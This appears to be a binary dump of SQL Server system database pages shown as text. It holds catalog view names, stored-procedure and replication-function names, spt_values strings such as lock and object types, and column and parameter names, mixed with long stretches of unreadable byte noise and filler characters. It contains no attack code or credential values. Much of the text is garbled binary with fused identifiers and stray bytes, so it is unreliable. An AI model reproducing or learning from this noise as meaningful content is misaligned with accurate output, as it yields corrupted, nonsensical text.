\Pdm_pdw_nodes_db_index_usage_stats&-+eLdm_pdw_nodes_db_partition_stats&Tdm_pdw_nodes_db_session_space_usage&RNdm_pdw_nodes_db_task_space_usage&ɫZdm_pdw_nodes_exec_background_job_queue&O؉fdm_pdw_nodes_exec_background_job_queue_stats&3Jdm_pdw_nodes_exec_cached_plans&b@Hdm_pdw_nodes_exec_connections&pCPdm_pdw_nodes_exec_procedure_stats&dXdm_pdw_nodes_exec_query_memory_grants&Zdm_pdw_nodes_exec_query_optimizer_info&Sddm_pdw_nodes_exec_query_resource_semaphores&OHdm_pdw_nodes_exec_query_stats&Bdm_pdw_nodes_exec_requests&&?Bdm_pdw_nodes_exec_sessions&aXdm_pdw_nodes_io_cluster_shared_drives&Tdm_pdw_nodes_io_pending_io_requests&SRdm_pdw_nodes_os_buffer_descriptors&|Ldm_pdw_nodes_os_child_instances&/Hdm_pdw_nodes_os_cluster_nodes&'Ndm_pdw_nodes_os_dispatcher_pools&ȚDdm_pdw_nodes_os_dispatchers&e8dm_pdw_nodes_os_hosts&֩Ddm_pdw_nodes_os_latch_stats&_qJdm_pdw_nodes_os_loaded_modules&ʷJdm_pdw_nodes_os_memory_brokers&_^dm_pdw_nodes_os_memory_cache_clock_hands&6Xdm_pdw_nodes_os_memory_cache_counters&quAVdm_pdw_nodes_os_memory_cache_entries&]
^dm_pdw_nodes_os_memory_cache_hash_tables&QHdm_pdw_nodes_os_memory_clerks&k^dm_pdw_nodes_os_memory_node_access_stats&Fdm_pdw_nodes_os_memory_nodes&YJdm_pdw_nodes_os_memory_objects&Fdm_pdw_nodes_os_memory_pools&E8dm_pdw_nodes_os_nodes&7Vdm_pdw_nodes_os_performance_counters&Jdm_pdw_nodes_os_process_memory&Bdm_pdw_nodes_os_schedulers&MHJdm_pdw_nodes_os_spinlock_stats&rH>dm_pdw_nodes_os_sys_info&Bdm_pdw_nodes_os_sys_memory&h@98dm_pdw_nodes_os_tasks&D<dm_pdw_nodes_os_threads&
Vdm_pdw_nodes_os_virtual_address_dump&7vBdm_pdw_nodes_os_wait_stats&[5aHdm_pdw_nodes_os_waiting_tasks&!3<dm_pdw_nodes_os_workers&Š|dm_pdw_nodes_tran_active_snapshot_database_transactions&8lXdm_pdw_nodes_tran_active_transactions&;Jdm_pdw_nodes_tran_commit_table&5oRdm_pdw_nodes_tran_current_snapshot&vXdm_pdw_nodes_tran_current_transaction&\dm_pdw_nodes_tran_database_transactions&<dm_pdw_nodes_tran_locks&@g6dm_pdw_exec_requests&}(dm_pdw_errors&|R2dm_pdw_dms_workers&D&dm_pdw_nodes&$2dm_pdw_node_status&.dm_pdw_dms_cores&59Jdm_pdw_component_health_status&JcYJdm_pdw_component_health_alerts&͘Fdm_pdw_diag_processing_stats&
Xdm_pdw_component_health_active_alerts$z0\ @

L

v X
l

	`		n*`z&JDT
J\Lrf`
Za"
,,&$Hspatial_reference_systems_tvf&28spt_datatype_info_ext&2spt_provider_types&"spt_values&Z.sql_dependencies&Dsql_expression_dependencies&pFsql_expression_dependencies$&!"sql_logins&`$sql_modules&nstats&m(stats_columns&0*symmetric_keys&\synonyms&(sysallocunits&@$sysaltfiles&_$sysasymkeys&;"sysaudacts&:"sysbinobjs&/"sysbinpals&a(sysbinsubobjs&(sysbrickfiles&?,syscacheobjects&.syscerts&=$syscharsets&P(syschildinsts& sysclones&@"sysclsobjs&)"syscolpars&"syscolumns&i$syscolumns$&$syscomments&|&syscommittab&R.syscompfragments&<(sysconfigures&|*sysconstraints&G&sysconvgroup&>.syscscolsegments&?0syscsdictionaries&;(syscurconfigs&:.syscursorcolumns&9(syscursorrefs&8"syscursors&7,syscursortables&6&sysdatabases&"sysdbfiles& sysdbfrag&sysdbreg&~"sysdepends&Isysdercv&H sysdesend&5"sysdevices&8 sysendpts& sysfgfrag&r(sysfilegroups&qsysfiles& sysfiles1&O$sysfoqueues&}*sysforeignkeys&Ysysfos& sysftinds&V,sysftproperties&T.sysftsemanticsdb&W#0spt_datatype_info&i,spt_server_info&\6spt_permission_names&Rspt_parameters_numbered_parameters&4spt_parameters_user&D8spt_parameters_system&2spt_all_procedures&24spt_procedures_user&<8spt_procedures_system&8spt_columns_odbc_view&Ѿ:spt_datatype_info_view&9VwDspt_sproc_columns_odbc_view&Se`spt_sproc_columns_return_values_odbc_view&t;Jspt_column_privileges_set_view&FINspt_column_privileges_owner_view&!=.spt_columns_view&~4<spt_sparse_columns_view&%EDspt_table_type_columns_view&.spt_indexes_view&2%6spt_indexes_view_100&U&8spt_primary_keys_view&MNspt_table_type_primary_keys_view&
,spt_tables_view&6^6spt_table_types_view&@@spt_table_privileges_view&vCHspt_check_constbytable_rowset&[6spt_tables_info_view&7i>spt_tablecollations_view&<spt_provider_types_view&M@spt_procedure_params_view&{\spt_procedure_params_return_values_view&V4spt_xml_schema_view&>spt_columns_view_managed&}n>spt_indexes_view_managed&oHspt_indexcolumns_view_managed	p	P	6		bB `:n>jD vN*nL*rJ2b44*
`n*
	\Lx&


\
B	hf

`	
:u"v.f&ho(sp_procoption&&sp_recompile&=H4sp_recompile_module&ˮ4sp_refreshsqlmodule&{H>Fsp_refreshsqlmodule_internal&*sp_refreshview&$f0sp_releaseapplock&*т6sp_releaseschemalock&a_,sp_remoteoption& sp_rename&xA$sp_renamedb&1@sp_reserve_http_namespace&'4sp_reset_connection&*sp_resetstatus&s̆2sp_resign_database&S.sp_resyncexecute&n4sp_resyncexecutesql&$!.sp_resyncprepare&>_6sp_resyncuniquetable&n0sp_revokedbaccess&Ӻ6*sp_revokelogin&SNsp_rollback_parallel_nested_tran&2sp_schemata_rowset&>sp_provider_types_rowset&
Dsp_provider_types_90_rowset&_Fsp_provider_types_100_rowset&oob`sp_scriptdropdelreconciliationproc_sqlclr&MNsp_resetsnapshotdeliveryprogress&Bsp_resyncmergesubscription&uJsp_reinitmergepullsubscription&:sp_replicationdboption&:sp_removedbreplication&&<sp_removesrvreplication&5>sp_refreshreplsysservers&<sp_restoredbreplication&e@sp_reinitpullsubscription&_^0sp_repldropcolumn&.sp_repladdcolumn&$sp_repldone&t&sp_repltrans&L,sp_replcounters&9$sp_replhelp&5k.sp_replddlparser&$sp_replcmds&^&sp_replflush&*sp_replpostcmd&_Fsp_replincrementlsn_internal&c4sp_replupdateschema&hrHsp_replsetoriginator_internal&k6sp_replsetsyncstatus&r!@sp_replpostsyncstatus_int&-8sp_repl_generateevent&NJ"sp_replica&DW0&sp_publishdb&Fsp_replication_agent_checkup&3lFsp_revoke_publication_access&je:sp_replgetparsedddlcmd&#8sp_publicationsummary&☩6sp_replsetoriginator&%4sp_replincrementlsn&B|:sp_replcleanupccsprocs&9O8sp_replpostsyncstatus&
6$sp_replsync&(<sp_refreshsubscriptions&2_Dsp_script_synctran_commands&SNsp_script_insertforcftresolution&x8sp_reinitsubscription&5CNsp_script_reconciliation_insproc&sq5Psp_script_reconciliation_sinsproc&W6sp_scriptdelproccore&]rNsp_script_reconciliation_delproc&Psp_script_reconciliation_xdelproc&2Psp_script_reconciliation_vdelproc&Fsp_register_custom_scripting&@.sp_scriptdelproc&(+,sp_replshowcmds&Ł@sp_publication_validation&4*sp_replrestart&4sp_replqueuemonitor&}~N2sp_replsqlqgetrows&!6sp_publisherproperty&
r?,sp_schemafilter&(Hsp_repltablehasnonpkuniquekey&CPsp_replscriptuniquekeywhereclause&	<sp_repldeletequeuedtran&/}:sp_requestpeerresponse&pBsp_requestpeertopologyinfo&M8Rsp_refresh_heterogeneous_publisher&q*sp_replrethrow&2sp_replsendtoqueue&L6sp_replwritetovarbin&dJsp_replmonitorhelpmergesession&͈Vsp_replmonitorhelpmergesessiondetail&6QDsp_replmonitorhelppublisher&^EPsp_replmonitorhelppublisherhelper&i0XHsp_replmonitorhelppublication&TQJsp_replmonitorhelpsubscription&$@sp_replmonitorsynchronize&O_>sp_replmonitorrefreshjob&6h@sp_replmonitorrefreshdata&3Jsp_replmonitorrefreshagentdata&Nsp_replmonitorrefreshwarningdata&_Lsp_replmonitorinitializemetrics&6sp_replmonitoralerts&\sp_replmonitorhelppublicationthresholds&^sp_replmonitorchangepublicationthreshold&UXsp_replmonitorsubscriptionpendingcmds&ETsp_removedistpublisherdbreplication&ƺv8sp_redirect_publisher&VLsp_refresh_log_shipping_monitor&R/80sp_resolve_logins&A@sp_registercustomresolver&a*Fsp_restoremergeidentityrange&>Bsp_reinitmergesubscription&PDdsp_replmonitorhelpmergesubscriptionmoreinfo&yj,sp_readerrorlog&5:sp_prop_oledb_provider2_Dsp_script_synctran_commands&SNsp_script_insertforcftresolution&JPsp_scriptpubwinsrefreshcursorvars&aL@sp_scriptsubconflicttable&x8sp_reinitsubscription&NH
:sp_scriptpkwhereclause&8sp_scriptupdateparams&Z@sp_scriptreconwhereclause&	6sp_scriptinsproccore&5CNsp_script_reconciliation_insproc&sq5Psp_script_reconciliation_sinsproc&E.sp_scriptinsproc&,m0sp_scriptsinsproc&W6sp_scriptdelproccore&,
bL"BZ,N\0 
"d

L
j0Z
,
	$\r:VP	B		80	^	h
8BVP\
~rZ:dP
Nf`=
<1"
cA*Kp&r4fn_PhysLocFormatter&Hfn_procedure_params_90_rowset&%aJfn_procedure_params_90_rowset2&&b6fn_quotefourpartname&S2fn_remote_catalogs&%FLDfn_remote_column_privileges&}0fn_remote_columns&&:fn_remote_foreign_keys&d0fn_remote_indexes&A:fn_remote_primary_keys&$>fn_remote_provider_types&(+2fn_remote_schemata&ў6fn_remote_statistics&6Bfn_remote_table_privileges&.fn_remote_tables&i,fn_remote_views&4fn_repl_hash_binary&uDfn_pubservernamefromsyncmgr&nNfn_replaceinvalidfilenamesymbols&b;8fn_replformatdatetime&τ\:fn_repl32bitstringhash&dV@fn_replgetsqlserverregkey&e8>fn_replgetinstanceregkey&:Ffn_replgetsubscriptionregkey&8fn_replbitstringtoint&Vfn_replgenerateshorterfilenameprefix&:|Hfn_replcomposepartitionfolder&\fn_replcomposepublicationsnapshotfolder&>fn_replgetbinary8lodword&2ؖ>fn_replgetbinary8hidword&Rfn_replcombinehilodwordintobinary8&4X@fn_replgetcolidfrombitmap&f:fn_repladjustcolumnmap&;}Jfn_removeparameterwithargument&'2fn_replencryptver4&nyf2fn_repldecryptver4&2\8fn_replencryptversion&>Tfn_replgetagentcommandlinefromjobid&:fn_replcheckquotedname&2@:fn_replgetparsedddlcmd&-ffn_replgetNumMergesubscriptionsOnPublication&
szfn_replgetNumMergesubscriptionsNowSyncingOnPublication&vfn_replgetNumOfErrorsMergesubscriptionsOnPublication&Ezfn_replgetNumOfWarningsMergesubscriptionsOnPublication&KSBfn_replgetWorstWarningDurationMergesubscriptionsOnPublication&zfn_replgetWorstWarningExpirationMergesubscriptionsOnPublication&j4Jfn_replgetpublicationthreshold&v@fn_replgetbitmapfromcolid&Bfn_repldecryptver4_wrapper*http_endpoints&t.identity_columns&o(index_columns&
&index_counts&sindexes&indexes$&,,internal_tables&j,key_constraints&/,key_encryptions&"(linked_logins&bb$login_token&(&master_files&7.KEY_COLUMN_USAGE&4fn_repl_hash_binary&uDfn_pubservernamefromsyncmgr&nNfn_replaceinvalidfilenamesymbols&b;8fn_replformatdatetime&τ\:fn_repl32bitstringhash&dV@fn_replgetsqlserverregkey&e8>fn_replgetinstanceregkey&:Ffn_replgetsubscriptionregkey&VLfn_repltrimleadingzerosinhexstr&8fn_replinttobitstring&8fn_replbitstringtoint&b$fn_replrotr&Vfn_replgenerateshorterfilenameprefix&:|Hfn_replcomposepartitionfolder&\fn_replcomposepublicationsnapshotfolder&>fn_replgetbinary8lodword&2ؖ>fn_replgetbinary8hidword&s+6fn_replprepadbinary8&Rfn_replcombinehilodwordintobinary8&u>fn_replmakestringliteral&4X@fn_replgetcolidfrombitmap&f:fn_repladjustcolumnmap&.fn_replquotename&UA
>fn_skipparameterargument&;}Jfn_removeparameterwithargument&NJfn_updateparameterwithargument&b\fn_updateparameterwithqualifiedargument&Qݣ0fn_repluniquename&m2{*fn_synctrigger&$fn_serverid&ی:fn_units_until_maxdate&&VDfn_subtract_units_from_date&'2fn_replencryptver4&nyf2fn_repldecryptver4&2\8fn_replencryptversion&T,fn_secondstohms& >fn_replparsewindowslogin&Nfn_replisvalidwindowsloginformat&:Hfn_yukonsecuritymodelrequired&>Tfn_replgetagentcommandlinefromjobid&XVFfn_replremoveleadingcomments&6fn_replremovefullobj&:fn_replcheckquotedname&2@:fn_replgetparsedddlcmd&*@fn_replreplacesinglequote&cbfn_replreplacesinglequoteplusprotectstring&@m<fn_varbintohexsubstring&/<R0fn_varbintohexstr&R2fn_sqlvarbasetostr&1
6fn_repltagcustomproc&Bfn_repltranquotecustomproc&-ffn_replgetNumMergesubscriptionsOnPublication&
szfn_replgetNumMergesubscriptionsNowSyncingOnPublication&vfn_replgetNumOfErrorsMergesubscriptionsOnPublication&Ezfn_replgetNumOfWarningsMergesubscriptionsOnPublication&KSBfn_replgetWorstWarningDurationMergesubscriptionsOnPublication&zfn_replgetWorstWarningExpirationMergesubscriptionsOnPublication&j4Jfn_replgetpublicationthreshold Pb|BtNd 	b

r
`:
TD		z
r	$`^Ll<\&`:
n"}G@&YNDsp_table_constraints_rowset&Fsp_table_constraints_rowset2&y4sp_table_privileges&<l:sp_table_privileges_ex&Bsp_table_privileges_rowset&үJsp_table_privileges_rowset_rmt&rODsp_table_privileges_rowset2&Bsp_table_statistics_rowset&M Dsp_table_statistics2_rowset&o @sp_table_type_columns_100&INsp_table_type_columns_100_rowset&!n4sp_table_type_pkeys&ͲPsp_table_type_primary_keys_rowset&a*sp_table_types&?8sp_table_types_rowset&2sp_tablecollations&f:sp_tablecollations_100&8sp_tablecollations_90&9w*sp_tableoption& sp_tables&PR&sp_tables_ex&>sp_tables_info_90_rowset&LDsp_tables_info_90_rowset_64&!@sp_tables_info_90_rowset2&4/Fsp_tables_info_90_rowset2_64&,M8sp_tables_info_rowset&>sp_tables_info_rowset_64&t:sp_tables_info_rowset2&LC@sp_tables_info_rowset2_64&	i.sp_tables_rowset&B6sp_tables_rowset_rmt&0sp_tables_rowset2&	6$sp_tableswc&V4sp_testlinkedserver&g,sp_trace_create&:sp_trace_generateevent&z.sp_trace_getdata&%xO0sp_trace_setevent&z2sp_trace_setfilter&2sp_trace_setstatus&,sp_unbindefault&pn(sp_unbindrule&w&sp_unprepare&,+,sp_unsetapprole&D<sp_update_user_instance&'@sp_updateextendedproperty&z*sp_updatestats&H.sp_user_counter1&0sp_user_counter10&[:.sp_user_counter2&>.sp_user_counter3&Pn.sp_user_counter4&.sp_user_counter5&.sp_user_counter6&.sp_user_counter7&;.sp_user_counter8&n.sp_user_counter9&(4sp_usertypes_rowset&\3<sp_usertypes_rowset_rmt&6sp_usertypes_rowset2&='0sp_validatelogins&#&sp_validlang&&sp_validname&F,sp_views_rowset&vq.sp_views_rowset2&&nsp_who&qKsp_who2&j:sp_xml_preparedocument& 8sp_xml_removedocument&=6sp_xml_schema_rowset&$=8sp_xml_schema_rowset2&Ք2Fsp_xp_cmdshell_proxy_account&Dspatial_index_tessellations&,spatial_indexes&u@spatial_reference_systems&Jsp_unlink_publication_internal&s8sp_unlink_publication&{4sp_table_validation&vRsp_vupgrade_subscription_databases&|Dsp_vupgrade_express_edition&dsp_vupgrade_registry_custom_resolver_katmai&-6sp_vupgrade_registry&UsLsp_vupgrade_subscription_tables&k9<sp_vupgrade_mergetables&4sp_vupgrade_subpass&WˬXsp_vupgrade_MSsubscription_properties&M2sp_vupgrade_distdb&J8sp_vupgrade_publisher&#Vsp_vupgrade_heterogeneous_publishers&C=@sp_vupgrade_syscol_status&jHsp_vupgrade_sysarticlecolumns&G<sp_vupgrade_publisherdb&Zsp_vupgrade_updatingpublicationarticle&6sp_vupgrade_replmsdb&֕>sp_vupgrade_mergeobjects&9f<sp_vupgrade_replication&73Psp_vupgrade_replsecurity_metadata&Nsp_validatemergepullsubscription&.q2sp_verifypublisher&I*sp_unsubscribe&Ӫ2Jsp_unregister_custom_scripting&.sp_validatecache&&<sp_update_agent_profile&4HNsp_validate_redirected_publisher&m'\sp_validate_replica_hosts_as_publishers&O<sp_upgrade_log_shipping&GJDsp_unregistercustomresolver&NDsp_UDFhas_builtin_functions&贲Fsp_validatemergesubscription&_Dsp_validatemergepublicationx4H

bRl00&H
~
X
2

h\.vH


d
$
	<	f	.n	B	D	F\.v>t6T"fp<j(X`^"3Uwp0
!?sqlserverclient_app_name0	!5sqlserverclient_pid0!7sqlserverdatabase_id0#!;sqlserverdatabase_name03;package0event_sequence0B!Ssqlserversession_resource_group_id0!?sqlserverclient_hostname0<!3sqlserveris_system0!7sqlservernt_username0!7sqlservernt_username0A!7sqlserverplan_handle01!5sqlserverrequest_id0!Isqlserverserver_instance_name0!Ksqlserverserver_principal_name0)!Isqlserverserver_principal_sid0!5sqlserversession_id0@![sqlserversession_server_principal_name0=!5sqlservertsql_frame0?!5sqlservertsql_frame0!5sqlservertsql_frame0!=sqlservertransaction_id02!Isqlservertransaction_sequence!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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aL]rZŁ˂4}w(f2:|7o/z
f6PhEj4vtB2XyC>]4Q3w.7kUoL6U$F%0

GhJ,.!WoCu:V1hrE+6Αi0XZ$L4~<i
YJc9MNܻ[B1	;[^aLo
p\oVVU<];m=M@:|7
?,GBy%Ul"Isch,U}QV,IcUN%k@IZ;:Pj
6h

.^hd
F6
l8


^@@*,<Ltr	J*	
H	vfn
\8D
h(.	Zj<xB 		B
Hr
		p

4J(v
`	,
:	
T~
TxRL
`
\	
4	$
V
|x@J&X
	n~\|@Vd>N
H	
,p^,Z
b
0422"0
PvFt
<2(l
| 
"nf	R2$	Td P8:l
j<$	Jj
	~|	:
^.
zp	rV
z	L*"	
fdz
(R		h`
N
>	6D
&
b
bX

P"ZPtN&BnD
6X0~x	tF

F
j>TrZ`<`}y9|0A  'rpc0A  rp'pub0A  pu'sub0A  su)dist0A  di)dpub0A  @dp/rpc out0A   rp7data access0A  (daIcollation compatible0A  :co-system0A  syIuse remote collation0A  :usMlazy schema validation0A  >lacremote proc transaction promotion0B  3YES OR NO0B  $YE%no0B  no'yes0B  ye)none0D  ?DATABASE STATUS0D  0DA3autoclose0D  $auIselect into/bulkcopy0D  :seItrunc. log on chkpt.0D  :trGtorn page detection0D   8to/loading0D  @ lo9pre recovery0D  *pr5recovering0D  &re;not recovered0D  /offline0D   of3read only0D  $re9dbo use only0D  *db7single user0D  (si=emergency mode0D  @.em5autoshrink0D  &au;missing files0D  @,miAcleanly shutdown0D  @2clIALL SETTABLE OPTIONS0D2 ADATABASE OPTIONS0D2 2DA7db chaining0D2 (dbEnumeric roundabort0D2 6nu5arithabort0D2  &ar9ANSI padding0D2 @*ANCANSI null default0D2 4ANOconcat null yields null0D2 @coErecursive triggers0D2 6reOdefault to local cursor0D2 @deCquoted identifier0D2 4quMauto create statistics0D2 >auMcursor close on commit0D2 >cu5ANSI nulls0D2 &AN;ANSI warnings0D2  ,ANCfull text enabled0D2 @4fuMauto update statistics0D2 |W>auIALL SETTABLE OPTIONS0DC CDATABASE CATEGORY0DC 4DA3published0DC $pu5subscribed0DC &su;merge publish0DC ,me7Distributed0DC (DiIALL SETTABLE OPTIONS0E  GSQLSERVER HOST TYPE0E   5WINDOWS/NT0E  WI9int high bit0E  in=int4 high byte0F  KSYSREMOTELOGINS TYPESF  <SY0F  <SY/trusted0F_U]SYSREMOTELOGINS TYPES (UPDATE)F_UNSY0F_UNSY/trusted0G  KGENERAL MISC. STRINGS0G  <GESSQL Server Internal Table0I  7INDEX TYPES0I  (IN9nonclustered0I  *noKignore duplicate keys0I  <ig-unique0I  unKignore duplicate rows0I  <ig3clustered0I   $cl9hypothetical0I  @*hy5statistics0I  &st7auto create0I  (auEstats no recompute0I  7primary key0I  5unique key0J  ACOMPATIBLE TYPES0J  -CO-binary0J  %bi3varbinary0J  2va'bit0J  /bi)char0J  'ch/varchar0J  =va1datetime0J  oda1datetimn0J  :da;smalldatetime0J  >sm+float0J  mfl-floatn0J  ;fl)real0J  8re'int0J  &in)intn0J  4in1smallint0J  0sm/tinyint0J  <ti+money0J  nmo-moneyn0J  zmo5smallmoney0K  ;SYSKEYS TYPES0K  ,SY/primary0K   pr/foreign0K   fo-common0L  5LOCK TYPES0L  &LO)NULL0L  NU+Sch-S0L  Sc+Sch-M0L  Sc#S0L  Sc#U0L  Uc#X0L  Xc%IS0L  IS%IU0L  	IU%IX0L  
IX'SIU0L  SI'SIX0L  SI'UIX0L  
UI%BU0L  BU1RangeS-S0L  "Ra1RangeS-U0L  "Ra9RangeIn-Null0L  *Ra3RangeIn-S0L  $Ra3RangeIn-U0L  $Ra3RangeIn-X0L  $Ra1RangeX-S0L  "Ra1RangeX-U0L  "Ra1RangeX-X0LO 5LOCK OWNER0LO &LO)Xact0LO Xa)Crsr0LO Cr)Sess0LO Se)STWS0LO ST)XTWS0LO XT'WFR0DBR@3DB Owners0DBR@DBQDB Access Administrators0DBR@DBUDB Security Administrators0DBR@DBKDB DDL Administrators0DBR@DBEDB Backup Operator0DBR@DB=DB Data Reader0DBR@DB=DB Data Writer0DBR@DBGDB Deny Data Reader0DBR	@DBGDB Deny Data Writer{T-tQ.zMR'wN!Y*z9Qe8}*6b)

-
d
s6in3

d
!
		>	HFb)W_{T/LV'`
Z`Q^8`ia
r6Qr6A  rpc6A  pub6A  sub6B  $YES OR NO6B  no6B  yes6B  none6D  0DATABASE STATUS6D  $autoclose6D  :select into/bulkcopy6D2 2DATABASE OPTIONS6DC 4DATABASE CATEGORY6DC $published6DC &subscribed6DC ,merge publish6E  8SQLSERVER HOST TYPE6E  &WINDOWS/NT6E  *int high bit6E  .int4 high byte6F  <SYSREMOTELOGINS TYPESF  6F   trusted6F_UNSYSREMOTELOGINS TYPES (UPDATE)F_U6G  <GENERAL MISC. STRINGS6G  DSQL Server Internal Table6I  (INDEX TYPES6I  *nonclustered6I  <ignore duplicate keys6I  unique6J  2COMPATIBLE TYPES6J  binary6J  $varbinary6J  bit6J  char6J   varchar6K  ,SYSKEYS TYPES6K   primary6K   foreign6K  common6L  &LOCK TYPES6L  NULL6L  Sch-S6L  Sch-M6LR .LOCK RESOURCES6LR NUL6LR DB6LR FIL6LS 0LOCK REQ STATUS6LS GRANT6LS CNVT6LS WAIT6LO &LOCK OWNER6LO Xact6LO Crsr6LO Sess6O  *OBJECT TYPES6O  *system table6O  view6O  &user table6O9TBsysobjects.type, reports6O9T>AF: aggregate function6O9T0AP: application6O9T,C : check cns6O9T@D : default (maybe cns)6O9T>EN: event notification6O9T8F : foreign key cns6O9T8FN: scalar function6O9TJFS: assembly scalar function6O9THFT: assembly table function6O9T8IF: inline function6O9TFIS: inline scalar function6O9T6IT: internal table6O9T L : log6O9T:P : stored procedure6O9TNPC : assembly stored procedure6O9T8PK: primary key cns6O9T"R : rule6O9THRF: replication filter proc6O9T2S : system table6O9T(SN: synonym6O9T$SQ: queue6O9T:TA: assembly trigger6O9T6TF: table function6O9T(TR: trigger6O9T.U : user table6O9T6UQ: unique key cns6O9T"V : view6O9TBX : extended stored proc6O9T8SO: sequence objectP  P  P  P  6R  *REPORT TYPESR  6R   (rpt)6SFL,SF LOCK TYPES6SOP$@@OPTIONS6SOP>disable_def_cnst_check6SOP<implicit_transactions6T  6SYSPROTECTS.ACTION6V  4SYSDEVICES STATUS6V  *default disk6V  ,physical diskLOCK TYPES6L  NULL6L  Sch-S6L  Sch-M6L  S6L  U6L  X6L  IS6L  IU6	L  IX6
L  SIU6L  SIX6L  UIX6
L  BU6L  "RangeS-S6L  "RangeS-U6L  *RangeIn-Null6L  $RangeIn-S6L  $RangeIn-U6L  $RangeIn-X6L  "RangeX-S6L  "RangeX-U6L  "RangeX-X6LR .LOCK RESOURCES6LR NUL6LR DB6LR FIL6LR TAB6LR PAG6LR KEY6LR EXT6	LR RID6
LR APP6LR MD6LR HBT6
LR AU6LS 0LOCK REQ STATUS6LS GRANT6LS CNVT6LS WAIT6LS RELN6LS BLCKN6LO &LOCK OWNER6LO Xact6LO Crsr6LO Sess6LO STWS6LO XTWS6LO WFR6O  *OBJECT TYPES6O  *system table6O  view6O  &user table6O  2stored procedure6O   default6O  rule6O   trigger6O  Xreplication filter stored procedure6O9TBsysobjects.type, reports6O9T>AF: aggregate function6O9T0AP: application6O9T,C : check cns6O9T@D : default (maybe cns)6O9T>EN: event notification6O9T8F : foreign key cns6O9T8FN: scalar function6O9TJFS: assembly scalar function6O9THFT: assembly table function6O9T8IF: inline function6O9TFIS: inline scalar function6O9T6IT: internal table6O9T L : log6O9T:P : stored procedure6O9TNPC : assembly stored procedure6O9T8PK: primary key cns6O9T"R : rule6O9THRF: replication filter proc6O9T2S : system table6O9T(SN: synonym6O9T$SQ: queue6O9T:TA: assembly trigger6O9T6TF: table function6O9T(TR: trigger6O9T.U : user table6O9T6UQ: unique key cns6O9T"V : view6O9TBX : extended stored proc6O9T8SO: sequence objectP  P  P  P  6R  *REPORT TYPESR  6R   (rpt)RhJ<XFvv4"8,x8hvX~D`ZVbv&z6p~Z2


"v
D
T~F

|
D

		j	,	4
Za)^8`H-,_)cG0-%C@dbName0-%I@filegroup0-%?@name0-%G@filename0-%(?@size0-%(E@maxsize0-%(K@filegrowth0-Wappdomain_address0-88
Mappdomain_id0-4Qappdomain_name0-==Ocreation_time0-88
?db_id0-88
Cuser_id0-4?state0-88
Sstrong_refcount0-	88
Oweak_refcount0-
88
=cost0-88
?value0-88
[compatibility_level0-
ctotal_processor_time_ms0-gtotal_allocated_memory_kb0-Ysurvived_memory_kb0-1t44Kcategory_id0-1t4=name0-1t00=type0-088
Mcomponent_id0-088
Kproperty_id0-0Oproperty_name0-0Ophysical_name0-0hhAis_key0-拿88
I@data_type0-拿00E@ODBCVer0-:WO@table_schema0-:WM@column_name0-G@password0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-	I@publisher0-	O@publisher_db0-	M@publication0-	C@tranid0-	M@orderkeylow0-	O@orderkeyhigh0-GI@EventData0-G88
I@procmapid0-i00?@mode0-iW@secondary_server0-i[@secondary_database0-i$$O@secondary_id0-iS@primary_server0-iS@monitor_server0-ihho@monitor_server_security_mode0-iW@primary_database0-i	88
Y@restore_threshold0-i
88
U@threshold_alert0-ihhe@threshold_alert_enabled0-iW@last_copied_file0-i
==W@last_copied_date0-i==_@last_copied_date_utc0-i[@last_restored_file0-i==[@last_restored_date0-i==c@last_restored_date_utc0-i88
a@last_restored_latency0-i88
g@history_retention_period0-KW@article_resolver0-KdS@resolver_clsid0-Khh[@is_dotnet_assembly0-K_@dotnet_assembly_name0-KY@dotnet_class_name0-KI@publisher0-EM@publication0-EE@article0-EK@filtername0-EW@join_articlename0-EY@join_filterclause0-E88
U@join_unique_key0-Ehhi@force_invalidate_snapshot0-Ehhi@force_reinit_subscription0-E	00M@filter_type0-$88
I@tablenick0-$$$E@rowguid0-$K@generation0-$7E@lineage0-$?@colv0-$00?@type0-$88
Q@was_tombstone0-$88
M@compatlevel0-$	hhG@isinsert0-$
$$A@pubid0-$44[@publication_number0-$88
O@partition_id0-$
00Y@partition_optionsMqueued_loads0-Z88
Qactive_backups0-Z88
Sactive_restores0-088
Mcomponent_id0-088
Kproperty_		K2|%kLWf
8
Yt'

?dMfwj7Tw8c
"d%F6Aj-g		H
r+`-m?)
=,ld0-/4Kobject_name0-/4Mcounter_name0-/4Oinstance_name0-/Icntr_value0-/88
Gcntr_type0-04EopenTape0-144Ermtsrvid0-14Krmtloginame0-1Krmtpassword0-1UUEloginsid0-144Astatus0-1==Ichangedate0-288
?error0-200Eseverity0-244Adlevel0-24Kdescription0-244Gmsglangid0-3UU;sid0-344Astatus0-3==Icreatedate0-3==Iupdatedate0-3==Caccdate0-388
Atotcpu0-388
?totio0-388
Ispacelimit0-3	88
Gtimelimit0-3
88
Kresultlimit0-34=name0-34Adbname0-3
Epassword0-34Elanguage0-388
Gdenylogin0-388
Ghasaccess0-388
Eisntname0-388
Gisntgroup0-388
Eisntuser0-388
Esysadmin0-388
Osecurityadmin0-388
Kserveradmin0-388
Isetupadmin0-388
Mprocessadmin0-388
Gdiskadmin0-388
Gdbcreator0-388
Gbulkadmin0-34Gloginname0-4@4@Ersc_text0-4Crsc_bin0-4Irsc_valblk0-444Ersc_dbid0-444Grsc_indid0-488
Grsc_objid0-400Ersc_type0-400Ersc_flag0-4	00Ereq_mode0-4
00Ireq_status0-444Ireq_refcnt0-444Oreq_cryrefcnt0-4
88
Mreq_lifetime0-488
Ereq_spid0-488
Ereq_ecid0-444Oreq_ownertype0-4Wreq_transactionID0-4$$Yreq_transactionUOW!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;b}4e

I

z3X
u
0
		_		G~7n+XJ}<aG`-1)2q&0-i88
?@lcid0-88
